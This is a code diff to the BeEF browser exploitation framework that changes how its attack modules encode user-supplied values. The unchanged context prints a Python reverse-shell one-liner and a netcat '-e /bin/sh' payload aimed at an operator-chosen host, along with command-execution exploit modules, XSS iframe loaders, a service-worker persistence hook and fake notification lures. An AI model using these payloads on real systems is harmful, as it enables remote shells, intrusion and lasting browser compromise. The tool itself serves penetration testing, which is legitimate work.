diff --git a/modules/debug/test_beef_debug/command.js b/modules/debug/test_beef_debug/command.js
index 9066a327b..63040720b 100644
--- a/modules/debug/test_beef_debug/command.js
+++ b/modules/debug/test_beef_debug/command.js
@@ -7,7 +7,7 @@
beef.execute(function() {
try {
- var msg = decodeURIComponent(beef.encode.base64.decode('<%= Base64.encode64(@msg).delete("\n") %>'));
+ var msg = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@msg) %>'));
beef.debug(msg);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=called the beef.debug() function. Check the developer console for your debug message.');
} catch(e) {
diff --git a/modules/exploits/local_host/activex_command_execution/command.js b/modules/exploits/local_host/activex_command_execution/command.js
index 8d2afeca2..b286eb190 100755
--- a/modules/exploits/local_host/activex_command_execution/command.js
+++ b/modules/exploits/local_host/activex_command_execution/command.js
@@ -6,7 +6,7 @@
beef.execute(function() {
- var cmd = '<%= @cmd.gsub(/'/, "\\'") %>';
+ var cmd = beef.encode.base64.decode('<%= Base64.strict_encode64(@cmd) %>');
var result = "command was not sent";
try {
diff --git a/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js b/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js
index 999ed1899..c3264978b 100644
--- a/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js
+++ b/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js
@@ -9,7 +9,7 @@ beef.execute(function() {
var result = "command sent";
try {
- var command_str = "<%= command_str.gsub!(/"/, '\\"') %>";
+ var command_str = beef.encode.base64.decode('<%= Base64.strict_encode64(@command_str) %>');
var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home",Components.interfaces.nsIFile);
var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
var lPath = "C:\\WINDOWS\\system32\\cmd.exe"; // maybe "%WINDIR%\\system32\\cmd.exe" would work?
diff --git a/modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb b/modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb
index 6a545f6b3..0d6f5314b 100644
--- a/modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb
+++ b/modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb
@@ -9,7 +9,7 @@ class Mozilla_nsiprocess_interface < BeEF::Core::Command
def self.options
return [
- {'name' => 'ports', 'ui_label' => 'Windows Command', 'value' => 'ping localhost'}
+ {'name' => 'command_str', 'ui_label' => 'Windows Command', 'value' => 'ping localhost'}
]
end
diff --git a/modules/exploits/rfi_scanner/module.rb b/modules/exploits/rfi_scanner/module.rb
index f70319d5e..c8cf7a145 100644
--- a/modules/exploits/rfi_scanner/module.rb
+++ b/modules/exploits/rfi_scanner/module.rb
@@ -20,7 +20,7 @@ class Rfi_scanner < BeEF::Core::Command
if input['name'] == 'payload'
case input['value']
when "reverse_python" # msfvenom -p cmd/unix/reverse_python LHOST=X.X.X.X LPORT=XXXX
- cmd = Base64.encode64("import socket,subprocess,os;host='#{lhost}';port=#{lport};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);").gsub(/\r?\n/, '')
+ cmd = Base64.strict_encode64("import socket,subprocess,os;host='#{lhost}';port=#{lport};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);")
payload = "`python -c \"exec ('#{cmd}'.decode ('base64') )\"`"
when "reverse_netcat"
payload = "`nc #{lhost} #{lport} -e /bin/sh`"
diff --git a/modules/exploits/router/netgear_dgn2200_cmd_exec/command.js b/modules/exploits/router/netgear_dgn2200_cmd_exec/command.js
index 316ec4fff..a2cf8f8ed 100755
--- a/modules/exploits/router/netgear_dgn2200_cmd_exec/command.js
+++ b/modules/exploits/router/netgear_dgn2200_cmd_exec/command.js
@@ -7,7 +7,7 @@
beef.execute(function() {
var rhost = '<%= @rhost %>';
- var cmd = '<%= Base64.encode64(@cmd).delete("\n") %>';
+ var cmd = '<%= Base64.strict_encode64(@cmd) %>';
var timeout = 15;
var netgear_dgn2200_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
diff --git a/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js b/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js
index 94bb2d746..f3f1fa34d 100644
--- a/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js
+++ b/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js
@@ -6,7 +6,7 @@
beef.execute(function() {
- var uri = '<%= @uri.gsub(/'/, "\\'") %>';
+ var uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>');
var alienvault_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
alienvault_iframe_<%= @command_id %>.setAttribute('src', uri);
diff --git a/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js b/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js
index 9dc7cc5a2..03f1f5126 100644
--- a/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js
+++ b/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js
@@ -6,7 +6,7 @@
beef.execute(function() {
- var uri = '<%= @uri.gsub(/'/, "\\'") %>';
+ var uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>');
var cisco_collaboration_iframe = beef.dom.createInvisibleIframe();
cisco_collaboration_iframe.setAttribute('src', uri);
diff --git a/modules/exploits/xss/serendipity_1.6_xss/command.js b/modules/exploits/xss/serendipity_1.6_xss/command.js
index 7b9734c7d..959e9af70 100644
--- a/modules/exploits/xss/serendipity_1.6_xss/command.js
+++ b/modules/exploits/xss/serendipity_1.6_xss/command.js
@@ -6,7 +6,7 @@
beef.execute(function() {
- var uri = '<%= @uri.gsub(/'/, "\\'") %>';
+ var uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>');
var serendipity_iframe = beef.dom.createInvisibleIframe();
serendipity_iframe.setAttribute('src', uri);
diff --git a/modules/exploits/xss/sqlitemanager_xss/command.js b/modules/exploits/xss/sqlitemanager_xss/command.js
index 7b9734c7d..959e9af70 100644
--- a/modules/exploits/xss/sqlitemanager_xss/command.js
+++ b/modules/exploits/xss/sqlitemanager_xss/command.js
@@ -6,7 +6,7 @@
beef.execute(function() {
- var uri = '<%= @uri.gsub(/'/, "\\'") %>';
+ var uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>');
var serendipity_iframe = beef.dom.createInvisibleIframe();
serendipity_iframe.setAttribute('src', uri);
diff --git a/modules/misc/blockui/command.js b/modules/misc/blockui/command.js
index 535cd9dbf..1d9219b7e 100644
--- a/modules/misc/blockui/command.js
+++ b/modules/misc/blockui/command.js
@@ -8,7 +8,7 @@ beef.execute(function() {
var timeout = '<%= @timeout %>' * 1000;
var blockui = function() {
- $j.blockUI({ message: decodeURIComponent(beef.encode.base64.decode('<%= Base64.encode64(@message).delete("\n") %>')) });
+ $j.blockUI({ message: decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@message) %>')) });
setTimeout("$j.unblockUI();", <%= @timeout %> * 1000);
}
diff --git a/modules/persistence/jsonp_service_worker/command.js b/modules/persistence/jsonp_service_worker/command.js
index 5da2b78fc..d6c0f4f7d 100644
--- a/modules/persistence/jsonp_service_worker/command.js
+++ b/modules/persistence/jsonp_service_worker/command.js
@@ -7,7 +7,7 @@
beef.execute(function() {
var scriptElem = document.createElement("script");
var hook = encodeURIComponent(beef.net.hook);
- var tempBody = encodeURIComponent('<%= @tempBody.gsub(/'/, "\\'") %>');
+ var tempBody = encodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@tempBody) %>');
scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27'+tempBody+'%3Cscript%20src%3D%5C%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+hook+'%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")';
$j("body").append(scriptElem);
beef.net.send("<%= @command_url %>", <%=@command_id%>, "result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected.");
diff --git a/modules/social_engineering/fake_notification/command.js b/modules/social_engineering/fake_notification/command.js
index 48019c90a..1a88b18b1 100644
--- a/modules/social_engineering/fake_notification/command.js
+++ b/modules/social_engineering/fake_notification/command.js
@@ -17,7 +17,7 @@ beef.execute(function() {
var hid = '#'+id;
var hpid = '#'+pid;
$j(hid).append(elp);
- $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.encode64(@notification_text).delete("\n") %>')));
+ $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>')));
$j(hid).append(ell);
$j(hid).append(elr);
$j(hid).click(function() {
diff --git a/modules/social_engineering/fake_notification_c/command.js b/modules/social_engineering/fake_notification_c/command.js
index 6cb2010cb..a3995ba48 100644
--- a/modules/social_engineering/fake_notification_c/command.js
+++ b/modules/social_engineering/fake_notification_c/command.js
@@ -17,7 +17,7 @@ beef.execute(function() {
var hid = '#'+id;
var hpid = '#'+pid;
$j(hid).append(elp);
- $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.encode64(@notification_text).delete("\n") %>')));
+ $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>')));
$j(hid).append(ell);
$j(hid).append(elr);
$j(hid).click(function() {
diff --git a/modules/social_engineering/fake_notification_ff/command.js b/modules/social_engineering/fake_notification_ff/command.js
index 24d2ccb47..b0221ecc4 100644
--- a/modules/social_engineering/fake_notification_ff/command.js
+++ b/modules/social_engineering/fake_notification_ff/command.js
@@ -17,7 +17,7 @@ beef.execute(function() {
var hid = '#'+id;
var hpid = '#'+pid;
$j(hid).append(elp);
- $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.encode64(@notification_text).delete("\n") %>'))+" 
");
+ $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>'))+" ");
$j(hid).append(ell);
//$j(hid).append("Problems installing? ");
$j(hid).append(elr);
diff --git a/modules/social_engineering/fake_notification_ie/command.js b/modules/social_engineering/fake_notification_ie/command.js
index 1d7e143f2..6b9dbf985 100644
--- a/modules/social_engineering/fake_notification_ie/command.js
+++ b/modules/social_engineering/fake_notification_ie/command.js
@@ -17,7 +17,7 @@ beef.execute(function() {
var hid = '#'+id;
var hpid = '#'+pid;
$j(hid).append(elp);
- $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.encode64(@notification_text).delete("\n") %>')));
+ $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>')));
$j(hid).append(ell);
$j(hid).append(elr);
$j(hid).click(function() {